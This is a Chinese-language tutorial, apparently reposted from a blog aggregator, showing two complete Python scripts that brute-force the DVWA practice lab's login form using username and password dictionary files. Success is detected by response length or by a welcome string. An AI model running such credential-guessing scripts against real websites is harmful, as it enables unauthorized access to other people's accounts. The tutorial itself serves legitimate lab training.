Python破解網站登錄密碼腳本

測試靶機為DVWA,適合DVWA暴力破解模塊的Low和Medium等級

關鍵代碼解釋

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header設置請求頭

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload設置請求參數

payload = {'username':username,'password':password,"Login":'Login'}

這一行的作用是作一次get請求,響應信息被變量Response接收

Response = requests.get(url,params=payload,headers=header)

這兩行代碼循環遍歷賬號和密碼字典文件,之後給他們做笛卡爾積循環暴力破解

這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣

for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):

然後把循環結果存放到csv文件裡,用逗號分割數據

Response.status_code是響應的http狀態碼,len(Response.content)是http響應報文的長度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代碼

方法一

登陸成功的和失敗返回數據不同,所以數據包長度也不同。包長度與其他不同的數據,可能就是正確的賬號密碼。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

運行結果

運行

這就是腳本發送的數據包

查看結果

查看包長度與其他不同的數據,登錄測試

方法二

這個方法是根據登陸成功的返回特征來判斷是否為正確的賬號密碼,然後把正確的賬號密碼輸出到屏幕和txt文件裡

主要改動在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

運行結果

到此這篇關於Python破解網站登錄密碼腳本的文章就介紹到這瞭,更多相關Python破解網站登錄密碼內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: